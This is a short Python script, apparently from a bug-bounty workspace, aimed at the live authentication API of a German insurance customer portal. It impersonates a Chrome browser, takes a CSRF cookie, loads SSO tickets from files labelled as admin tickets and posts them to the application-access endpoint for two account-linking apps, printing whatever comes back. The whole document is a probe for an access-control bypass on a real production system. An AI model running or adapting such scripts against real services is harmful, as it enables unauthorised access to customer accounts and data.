from curl_cffi import requests
from pathlib import Path
import json
for app in ['el_account_linking','el_account_linking2']:
 s=requests.Session(impersonate='chrome'); h0={'X-Bug-Bounty':'dwbzn'}
 s.get('https://mein-portal.baloise.de/auth/',headers=h0,allow_redirects=False,timeout=20)
 csrf=s.cookies.get('CSRFT759-S') or ''
 t=Path(f'work/scratch/{app}-admin-esp.txt').read_text().strip()
 h={**h0,'X-Same-Domain':'1','X-CSRFT759':csrf,'Content-Type':'application/json','Accept':'application/json,application/vnd.api+json','X-IAM-SSO-Ticket':t}
 r=s.post(f'https://mein-portal.baloise.de/auth/rest/public/authentication/applications/{app}/access',headers=h,data='null',allow_redirects=False,timeout=20)
 print(app,r.status_code,len(r.content),getattr(r,'toadex_exchange_id',None),r.headers.get('X-Forward-URL'),r.text[:3000])
